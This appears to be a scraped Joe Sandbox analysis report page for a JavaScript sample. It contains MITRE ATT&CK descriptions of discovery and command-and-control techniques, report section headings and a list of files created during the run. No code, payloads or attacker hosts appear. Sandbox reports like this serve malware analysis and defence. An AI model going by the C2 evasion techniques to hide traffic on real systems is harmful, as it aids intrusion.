Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1504631236979031969.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\37d4f926-6340-48c8-95e7-dcfce93f66e9.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7924

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
1504631236979031969.js